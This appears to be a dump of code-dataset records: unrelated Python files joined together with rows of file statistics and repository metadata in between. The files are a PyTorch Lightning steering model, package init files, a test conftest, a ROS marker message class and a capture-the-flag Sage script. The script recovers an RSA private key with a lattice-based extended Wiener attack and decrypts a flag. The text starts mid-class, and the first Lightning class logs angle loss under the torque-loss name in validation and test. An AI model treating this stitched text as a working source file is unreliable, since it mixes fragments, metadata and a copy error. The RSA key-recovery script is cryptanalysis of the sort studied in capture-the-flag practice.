def training_step(self, batch, batch_idx):
x, y = batch
y_hat = self.model(x)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("train_loss", loss, prog_bar=True)
self.log("vel_loss", vel_loss, prog_bar=True)
self.log("ang_loss", ang_loss, prog_bar=True)
self.log("torq_loss", torq_loss, prog_bar=True)
return loss
def validation_step(self, batch, batch_idx):
x, y = batch
y_hat = self.model(x)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("val_loss", loss, prog_bar=True)
self.log("val_vel_loss", vel_loss, prog_bar=True)
self.log("val_ang_loss", ang_loss, prog_bar=True)
self.log("val_torq_loss", ang_loss, prog_bar=True)
return loss
def test_step(self, batch, batch_idx):
x, y = batch
y_hat = self.model(x)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("test_loss", loss, prog_bar=True)
self.log("test_vel_loss", vel_loss, prog_bar=True)
self.log("test_ang_loss", ang_loss, prog_bar=True)
self.log("test_torq_loss", ang_loss, prog_bar=True)
return loss
def configure_optimizers(self):
optimizer = torch.optim.AdamW(
self.parameters(),
lr=self.hparams.learning_rate,
)
return optimizer
@staticmethod
def add_model_specific_args(parent_parser):
parser = parent_parser.add_argument_group("LightSteer")
parser.add_argument("--learning_rate", type=float, default=1e-3)
return parent_parser
class LitSeqLightSteer(pl.LightningModule):
def __init__(self, model, learning_rate, **kwargs):
super().__init__()
self.save_hyperparameters("learning_rate")
# self.save_hyperparameters()
self.model = model
# self.truncated_bptt_steps = 2
def forward(self, x, hiddens=None):
y, hiddens = self.model(x, hiddens)
return y, hiddens
def match_scale(self, y_hat):
vel = 1.2 * torch.sigmoid(y_hat[:, :, 0])
ang = 0.7 * torch.tanh(y_hat[:, :, 1])
torq = 1.4 * torch.tanh(y_hat[:, :, 2])
return vel, ang, torq
def _compute_loss(self, vel, ang, torq, y):
vel_loss = F.mse_loss(vel, y[:, :, 0])
ang_loss = F.mse_loss(ang, y[:, :, 1])
# delta_vel is stored in y[:, 2]
torq_loss = F.mse_loss(torq, y[:, :, 3])
return vel_loss, ang_loss, torq_loss
def training_step(self, batch, batch_idx, hiddens=None):
x, y = batch
y_hat, hiddens = self.model(x, hiddens)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("train_loss", loss, prog_bar=True)
self.log("vel_loss", vel_loss, prog_bar=True)
self.log("ang_loss", ang_loss, prog_bar=True)
self.log("torq_loss", torq_loss, prog_bar=True)
return {"loss": loss, "hiddens": hiddens}
def validation_step(self, batch, batch_idx, hiddens=None):
x, y = batch
y_hat, hiddens = self.model(x, hiddens)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("val_loss", loss, prog_bar=True)
self.log("val_vel_loss", vel_loss, prog_bar=True)
self.log("val_ang_loss", ang_loss, prog_bar=True)
self.log("val_torq_loss", torq_loss, prog_bar=True)
return {"loss": loss, "hiddens": hiddens}
def test_step(self, batch, batch_idx, hiddens=None):
x, y = batch
y_hat, hiddens = self.model(x, hiddens)
vel, ang, torq = self.match_scale(y_hat)
vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y)
loss = vel_loss + ang_loss + torq_loss
self.log("test_loss", loss, prog_bar=True)
self.log("test_vel_loss", vel_loss, prog_bar=True)
self.log("test_ang_loss", ang_loss, prog_bar=True)
self.log("test_torq_loss", torq_loss, prog_bar=True)
return {"loss": loss, "hiddens": hiddens}
def configure_optimizers(self):
optimizer = torch.optim.AdamW(
self.parameters(),
lr=self.hparams.learning_rate,
)
return optimizer
@staticmethod
def add_model_specific_args(parent_parser):
parser = parent_parser.add_argument_group("LightSteer")
parser.add_argument("--learning_rate", type=float, default=1e-3)
return parent_parser
| 33.988439
| 77
| 0.620238
| 854
| 5,880
| 3.98829
| 0.100703
| 0.061656
| 0.07751
| 0.105696
| 0.941574
| 0.934527
| 0.934527
| 0.925426
| 0.925426
| 0.925426
| 0
| 0.007084
| 0.255782
| 5,880
| 172
| 78
| 34.186047
| 0.771252
| 0.025
| 0
| 0.724409
| 0
| 0
| 0.064082
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.141732
| false
| 0
| 0.023622
| 0
| 0.307087
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2c25b4077f488e886a7722d9c1d26b73386e50ad
| 176
|
py
|
Python
|
Packages/LiveReload/__init__.py
|
kangTaehee/st3
|
34aa17bcdac88b94cc38d37276fdc4983b27c76d
|
[
"Apache-2.0"
] | 4
|
2018-06-08T23:18:47.000Z
|
2020-02-24T06:14:06.000Z
|
Packages/LiveReload/__init__.py
|
kangTaehee/st3
|
34aa17bcdac88b94cc38d37276fdc4983b27c76d
|
[
"Apache-2.0"
] | 3
|
2021-05-10T18:59:14.000Z
|
2021-09-02T01:50:15.000Z
|
Packages/LiveReload/__init__.py
|
kangTaehee/st3
|
34aa17bcdac88b94cc38d37276fdc4983b27c76d
|
[
"Apache-2.0"
] | 2
|
2019-04-10T01:02:42.000Z
|
2021-02-05T08:41:38.000Z
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
try:
from .LiveReload import *
from .server import *
except ValueError:
from LiveReload import *
from server import *
| 19.555556
| 29
| 0.642045
| 21
| 176
| 5.380952
| 0.619048
| 0.247788
| 0.353982
| 0.424779
| 0.637168
| 0.637168
| 0
| 0
| 0
| 0
| 0
| 0.007407
| 0.232955
| 176
| 9
| 30
| 19.555556
| 0.82963
| 0.215909
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
257a561bb3f800f07b56ce25a6abde3c1780c213
| 14,340
|
py
|
Python
|
build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 12
|
2018-12-31T09:47:33.000Z
|
2022-02-19T09:24:33.000Z
|
build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 3
|
2022-01-26T09:14:32.000Z
|
2022-02-06T11:01:55.000Z
|
build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py
|
X3NNY/xenny
|
c55238f82f448ec08e4006f9037064c5c28524fd
|
[
"MIT"
] | 1
|
2022-02-06T11:02:06.000Z
|
2022-02-06T11:02:06.000Z
|
# This file was *autogenerated* from the file ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage
from sage.all_cmdline import * # import sage library
_sage_const_8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495 = Integer(8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495); _sage_const_12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233 = Integer(12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233); _sage_const_977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199 = Integer(977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199); _sage_const_559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141 = Integer(559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141); _sage_const_1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049 = Integer(1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049); _sage_const_0 = Integer(0); _sage_const_1 = Integer(1); _sage_const_2 = Integer(2); _sage_const_0p395 = RealNumber('0.395'); _sage_const_3 = Integer(3); _sage_const_65537 = Integer(65537)
from Crypto.Util.number import long_to_bytes
import gmpy2
# # Different parameters for each team
# N = 14922959775784066499316528935316325825140011208871830627653191549546959775167708525042423039865322548420928571524120743831693550123563493981797950912895893476200447083386549353336086899064921878582074346791320104106139965010480614879592357793053342577850761108944086318475849882440272688246818022209356852924215237481460229377544297224983887026669222885987323082324044645883070916243439521809702674295469253723616677245762242494478587807402688474176102093482019417118703747411862420536240611089529331148684440513934609412884941091651594861530606086982174862461739604705354416587503836130151492937714365614194583664241
# e2 = 27188825731727584656624712988703151030126350536157477591935558508817722580343689565924329442151239649607993377452763119541243174650065563589438911911135278704499670302489754540301886312489410648471922645773506837251600244109619850141762795901696503387880058658061490595034281884089265487336373011424883404499124002441860870291233875045675212355287622948427109362925199018383535259913549859747158348931847041907910313465531703810313472674435425886505383646969400166213185676876969805238803587967334447878968225219769481841748776108219650785975942208190380614555719233460250841332020054797811415069533137170950762289
# e1 = 114552459553730357961013268333698879659007919035942930313432809776799669181481660306531243618160127922304264986001501784564575128319884991774542682853466808329973362019677284072646678280051091964555611220961719302320547405880386113519147076299481594997799884384012548506240748042365643212774215730304047871679706035596550898944580314923260982768858133395187777029914150064371998328788068888440803565964567662563652062845388379897799506439389461619422933318625765603423604615137217375612091221578339493263160670355032898186792479034771118678394464854413824347305505135625135428816394053078365603937337271798774138959
# c = 6472367338832635906896423990323542537663849304314171581554107495210830026660211696089062916158894195561723047864604633460433867838687338370676287160274165915800235253640690510046066541445140501917731026596427080558567366267665887665459901724487706983166070740324307268574128474775026837827907818762764766069631267853742422247229582756256253175941899099898884656334598790711379305490419932664114615010382094572854799421891622789614614720442708271653376485660139560819668239118588069312179293488684403404385715780406937817124588773689921642802703005341324008483201528345805611493251791950304129082313093168732415486813
c = _sage_const_8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495
N = _sage_const_12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233
elist = [_sage_const_977911319972651723394571328718522684839233818822987291339342522169785960745026126065828171663817098096802815878902198077029945858855452998609277456106194388819262956948062693982275761329872056054857859232410277612711142700816736355176841064088554319372770630155715384207807030711333354763745992705118120370569460710155977842815890921315491899909670843778015790583691632043993431476520040474179224148193231997414071665994798409600593324091379931314280308037578462983918490074229956220561677028253942457235006713182547923616926990304799750998947455658072553806135348762275048940937102270212197438343232803386980600199 , _sage_const_559926877538901855278709098896162376244891138092491748881646434257041034310608383824407908074527674643899150895417313223110172168262601307071421399851733600345246010968366031770769952148466575159479327201407370870373866834887618577577208326983314970874299883828509623859285236698607654392197001359543187659277514383894861161291255994103416260263908568346256404585813409981064816508457745463277226433109583627383451707715853470546862943671380153218903698760690215786348972308030107405803386360872526435918433010695648728609011716822060677651971222925334030992502934274269358900515685347824060069702996792263218410141 , _sage_const_1306404425022786271861712376312227231552124703867069879929901082879590329712646841443187584387062880868763681811151633406488565216662438202954203241832546481831672169351320530897609760536461880974100913848321066609914696142148451258661558034664208629457074290198874188404392722618650477272549474176737297639391121777399834751032698170461874404735298259292915012795056598770703384560299787009329290972427164924620081023359665839557541169147316521214789391267972983251818403995447818247440728403270006177653413374374454715842733972395479437016747743514743563369659891600826890121796921748619451887714168425727577340049 ]
e1,e2,e3 = elist[_sage_const_0 ],elist[_sage_const_1 ],elist[_sage_const_2 ]
a = _sage_const_0p395
# M1 = N**0.5
# M2 = N**(1+a)
# D = diagonal_matrix(ZZ, [N, M1, M2, 1])
D = diagonal_matrix(ZZ, [int(N**(_sage_const_3 /_sage_const_2 )), N, int(N**(_sage_const_3 /_sage_const_2 +a)), int(N**(_sage_const_1 /_sage_const_2 )), int(N**(_sage_const_3 /_sage_const_2 +a)), int(N**(_sage_const_1 +a)), int(N**(_sage_const_1 +a)), _sage_const_1 ])
'''
B = Matrix(ZZ, [[1, -N, 0, N**2],
[0, e1, -e1, -e1*N],
[0, 0, e2, -e2*N],
[0, 0, 0, e1*e2]]) * D
'''
B = Matrix(ZZ, [[_sage_const_1 , -N, _sage_const_0 , N**_sage_const_2 , _sage_const_0 , _sage_const_0 , _sage_const_0 , -N**_sage_const_3 ],
[_sage_const_0 , e1, -e1, -e1*N, -e1, _sage_const_0 , e1*N, e1*N**_sage_const_2 ],
[_sage_const_0 , _sage_const_0 , e2, -e2*N, _sage_const_0 , e2*N, _sage_const_0 , e2*N**_sage_const_2 ],
[_sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e2, _sage_const_0 , -e1*e2, -e1*e2, -e1*e2*N],
[_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e3, -e3*N, -e3*N, e3*N**_sage_const_2 ],
[_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e3, _sage_const_0 , -e1*e3*N],
[_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e2*e3, -e2*e3*N],
[_sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , _sage_const_0 , e1*e2*e3]]) * D
L = B.LLL()
v = Matrix(ZZ, L[_sage_const_0 ])
x = v * B**(-_sage_const_1 )
phi = int(x[_sage_const_0 ,_sage_const_1 ]/x[_sage_const_0 ,_sage_const_0 ]*e1)
d = inverse_mod(_sage_const_65537 , phi)
print(long_to_bytes(pow(c,d,N)))
| 318.666667
| 6,475
| 0.93166
| 462
| 14,340
| 28.372294
| 0.158009
| 0.055615
| 0.032804
| 0.026701
| 0.048062
| 0.044553
| 0.040662
| 0.037458
| 0.035627
| 0.033491
| 0
| 0.862995
| 0.041562
| 14,340
| 44
| 6,476
| 325.909091
| 0.090731
| 0.188075
| 0
| 0
| 1
| 0
| 0.000436
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.125
| 0.041667
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
257cca49f9554a5b3a4a27553bed4858d0fcdf38
| 167
|
py
|
Python
|
tests/conftest.py
|
mircealungu/automatic-monitoring-for-flask
|
76417580898db6ef749b3925946fa5059132ebf6
|
[
"MIT"
] | 630
|
2018-03-03T23:52:07.000Z
|
2022-03-30T10:55:46.000Z
|
tests/conftest.py
|
mircealungu/automatic-monitoring-for-flask
|
76417580898db6ef749b3925946fa5059132ebf6
|
[
"MIT"
] | 292
|
2018-03-05T11:27:57.000Z
|
2022-03-28T23:05:48.000Z
|
tests/conftest.py
|
mircealungu/automatic-monitoring-for-flask
|
76417580898db6ef749b3925946fa5059132ebf6
|
[
"MIT"
] | 146
|
2018-03-22T09:53:36.000Z
|
2022-02-03T08:13:50.000Z
|
"""Import all fixtures here."""
from tests.fixtures.dashboard import * # noqa
from tests.fixtures.database import * # noqa
from tests.fixtures.models import * # noqa
| 27.833333
| 45
| 0.748503
| 22
| 167
| 5.681818
| 0.454545
| 0.216
| 0.408
| 0.304
| 0.432
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.137725
| 167
| 5
| 46
| 33.4
| 0.868056
| 0.245509
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
2599abbc6915e25a5b7675b052f4a9ff6b8090a0
| 3,898
|
py
|
Python
|
alpyro_msgs/visualization_msgs/interactivemarkerinit.py
|
rho2/alpyro_msgs
|
b5a680976c40c83df70d61bb2db1de32a1cde8d3
|
[
"MIT"
] | 1
|
2020-12-13T13:07:10.000Z
|
2020-12-13T13:07:10.000Z
|
alpyro_msgs/visualization_msgs/interactivemarkerinit.py
|
rho2/alpyro_msgs
|
b5a680976c40c83df70d61bb2db1de32a1cde8d3
|
[
"MIT"
] | null | null | null |
alpyro_msgs/visualization_msgs/interactivemarkerinit.py
|
rho2/alpyro_msgs
|
b5a680976c40c83df70d61bb2db1de32a1cde8d3
|
[
"MIT"
] | null | null | null |
from typing import List
from typing_extensions import Annotated
from typing import Final
from alpyro_msgs import RosMessage, string, uint64
from alpyro_msgs.visualization_msgs.interactivemarker import InteractiveMarker
class InteractiveMarkerInit(RosMessage):
__msg_typ__ = "visualization_msgs/InteractiveMarkerInit"
__msg_def__ = "c3RyaW5nIHNlcnZlcl9pZAp1aW50NjQgc2VxX251bQp2aXN1YWxpemF0aW9uX21zZ3MvSW50ZXJhY3RpdmVNYXJrZXJbXSBtYXJrZXJzCiAgc3RkX21zZ3MvSGVhZGVyIGhlYWRlcgogICAgdWludDMyIHNlcQogICAgdGltZSBzdGFtcAogICAgc3RyaW5nIGZyYW1lX2lkCiAgZ2VvbWV0cnlfbXNncy9Qb3NlIHBvc2UKICAgIGdlb21ldHJ5X21zZ3MvUG9pbnQgcG9zaXRpb24KICAgICAgZmxvYXQ2NCB4CiAgICAgIGZsb2F0NjQgeQogICAgICBmbG9hdDY0IHoKICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICBmbG9hdDY0IHgKICAgICAgZmxvYXQ2NCB5CiAgICAgIGZsb2F0NjQgegogICAgICBmbG9hdDY0IHcKICBzdHJpbmcgbmFtZQogIHN0cmluZyBkZXNjcmlwdGlvbgogIGZsb2F0MzIgc2NhbGUKICB2aXN1YWxpemF0aW9uX21zZ3MvTWVudUVudHJ5W10gbWVudV9lbnRyaWVzCiAgICB1aW50OCBGRUVEQkFDSz0wCiAgICB1aW50OCBST1NSVU49MQogICAgdWludDggUk9TTEFVTkNIPTIKICAgIHVpbnQzMiBpZAogICAgdWludDMyIHBhcmVudF9pZAogICAgc3RyaW5nIHRpdGxlCiAgICBzdHJpbmcgY29tbWFuZAogICAgdWludDggY29tbWFuZF90eXBlCiAgdmlzdWFsaXphdGlvbl9tc2dzL0ludGVyYWN0aXZlTWFya2VyQ29udHJvbFtdIGNvbnRyb2xzCiAgICB1aW50OCBJTkhFUklUPTAKICAgIHVpbnQ4IEZJWEVEPTEKICAgIHVpbnQ4IFZJRVdfRkFDSU5HPTIKICAgIHVpbnQ4IE5PTkU9MAogICAgdWludDggTUVOVT0xCiAgICB1aW50OCBCVVRUT049MgogICAgdWludDggTU9WRV9BWElTPTMKICAgIHVpbnQ4IE1PVkVfUExBTkU9NAogICAgdWludDggUk9UQVRFX0FYSVM9NQogICAgdWludDggTU9WRV9ST1RBVEU9NgogICAgdWludDggTU9WRV8zRD03CiAgICB1aW50OCBST1RBVEVfM0Q9OAogICAgdWludDggTU9WRV9ST1RBVEVfM0Q9OQogICAgc3RyaW5nIG5hbWUKICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICBmbG9hdDY0IHgKICAgICAgZmxvYXQ2NCB5CiAgICAgIGZsb2F0NjQgegogICAgICBmbG9hdDY0IHcKICAgIHVpbnQ4IG9yaWVudGF0aW9uX21vZGUKICAgIHVpbnQ4IGludGVyYWN0aW9uX21vZGUKICAgIGJvb2wgYWx3YXlzX3Zpc2libGUKICAgIHZpc3VhbGl6YXRpb25fbXNncy9NYXJrZXJbXSBtYXJrZXJzCiAgICAgIHVpbnQ4IEFSUk9XPTAKICAgICAgdWludDggQ1VCRT0xCiAgICAgIHVpbnQ4IFNQSEVSRT0yCiAgICAgIHVpbnQ4IENZTElOREVSPTMKICAgICAgdWludDggTElORV9TVFJJUD00CiAgICAgIHVpbnQ4IExJTkVfTElTVD01CiAgICAgIHVpbnQ4IENVQkVfTElTVD02CiAgICAgIHVpbnQ4IFNQSEVSRV9MSVNUPTcKICAgICAgdWludDggUE9JTlRTPTgKICAgICAgdWludDggVEVYVF9WSUVXX0ZBQ0lORz05CiAgICAgIHVpbnQ4IE1FU0hfUkVTT1VSQ0U9MTAKICAgICAgdWludDggVFJJQU5HTEVfTElTVD0xMQogICAgICB1aW50OCBBREQ9MAogICAgICB1aW50OCBNT0RJRlk9MAogICAgICB1aW50OCBERUxFVEU9MgogICAgICB1aW50OCBERUxFVEVBTEw9MwogICAgICBzdGRfbXNncy9IZWFkZXIgaGVhZGVyCiAgICAgICAgdWludDMyIHNlcQogICAgICAgIHRpbWUgc3RhbXAKICAgICAgICBzdHJpbmcgZnJhbWVfaWQKICAgICAgc3RyaW5nIG5zCiAgICAgIGludDMyIGlkCiAgICAgIGludDMyIHR5cGUKICAgICAgaW50MzIgYWN0aW9uCiAgICAgIGdlb21ldHJ5X21zZ3MvUG9zZSBwb3NlCiAgICAgICAgZ2VvbWV0cnlfbXNncy9Qb2ludCBwb3NpdGlvbgogICAgICAgICAgZmxvYXQ2NCB4CiAgICAgICAgICBmbG9hdDY0IHkKICAgICAgICAgIGZsb2F0NjQgegogICAgICAgIGdlb21ldHJ5X21zZ3MvUXVhdGVybmlvbiBvcmllbnRhdGlvbgogICAgICAgICAgZmxvYXQ2NCB4CiAgICAgICAgICBmbG9hdDY0IHkKICAgICAgICAgIGZsb2F0NjQgegogICAgICAgICAgZmxvYXQ2NCB3CiAgICAgIGdlb21ldHJ5X21zZ3MvVmVjdG9yMyBzY2FsZQogICAgICAgIGZsb2F0NjQgeAogICAgICAgIGZsb2F0NjQgeQogICAgICAgIGZsb2F0NjQgegogICAgICBzdGRfbXNncy9Db2xvclJHQkEgY29sb3IKICAgICAgICBmbG9hdDMyIHIKICAgICAgICBmbG9hdDMyIGcKICAgICAgICBmbG9hdDMyIGIKICAgICAgICBmbG9hdDMyIGEKICAgICAgZHVyYXRpb24gbGlmZXRpbWUKICAgICAgYm9vbCBmcmFtZV9sb2NrZWQKICAgICAgZ2VvbWV0cnlfbXNncy9Qb2ludFtdIHBvaW50cwogICAgICAgIGZsb2F0NjQgeAogICAgICAgIGZsb2F0NjQgeQogICAgICAgIGZsb2F0NjQgegogICAgICBzdGRfbXNncy9Db2xvclJHQkFbXSBjb2xvcnMKICAgICAgICBmbG9hdDMyIHIKICAgICAgICBmbG9hdDMyIGcKICAgICAgICBmbG9hdDMyIGIKICAgICAgICBmbG9hdDMyIGEKICAgICAgc3RyaW5nIHRleHQKICAgICAgc3RyaW5nIG1lc2hfcmVzb3VyY2UKICAgICAgYm9vbCBtZXNoX3VzZV9lbWJlZGRlZF9tYXRlcmlhbHMKICAgIGJvb2wgaW5kZXBlbmRlbnRfbWFya2VyX29yaWVudGF0aW9uCiAgICBzdHJpbmcgZGVzY3JpcHRpb24KCg=="
__md5_sum__ = "d5f2c5045a72456d228676ab91048734"
server_id: string
seq_num: uint64
markers: Annotated[List[InteractiveMarker], 0, 0]
| 243.625
| 3,434
| 0.97845
| 54
| 3,898
| 70.222222
| 0.537037
| 0.007911
| 0.008439
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.098647
| 0.014366
| 3,898
| 15
| 3,435
| 259.866667
| 0.888339
| 0
| 0
| 0
| 0
| 0
| 0.894818
| 0.894818
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.416667
| 0
| 1
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
25a1646b318b63917f8167f51d6f45d31059d576
| 275
|
py
|
Python
|
GuiBuilder/STARTUP/Install/__init__.py
|
lon3wolf/MyPyBuilder
|
5823ae9e5fcd2d745a70425c37a3aaa432c0389d
|
[
"MIT"
] | 237
|
2019-09-28T03:21:19.000Z
|
2022-03-19T22:41:04.000Z
|
GuiBuilder/STARTUP/Install/__init__.py
|
pr1malHunter/MyPyBuilder
|
5823ae9e5fcd2d745a70425c37a3aaa432c0389d
|
[
"MIT"
] | 3
|
2019-09-29T08:35:53.000Z
|
2020-09-13T18:00:07.000Z
|
GuiBuilder/STARTUP/Install/__init__.py
|
pr1malHunter/MyPyBuilder
|
5823ae9e5fcd2d745a70425c37a3aaa432c0389d
|
[
"MIT"
] | 29
|
2019-09-28T13:52:45.000Z
|
2022-01-06T01:25:45.000Z
|
from GuiBuilder.STARTUP.Install.CreateProjects import InstallProjects
from GuiBuilder.STARTUP.Install.CreateSettings import InstallSettings
from GuiBuilder.STARTUP.Install.LoadSettings import SettingsLoader
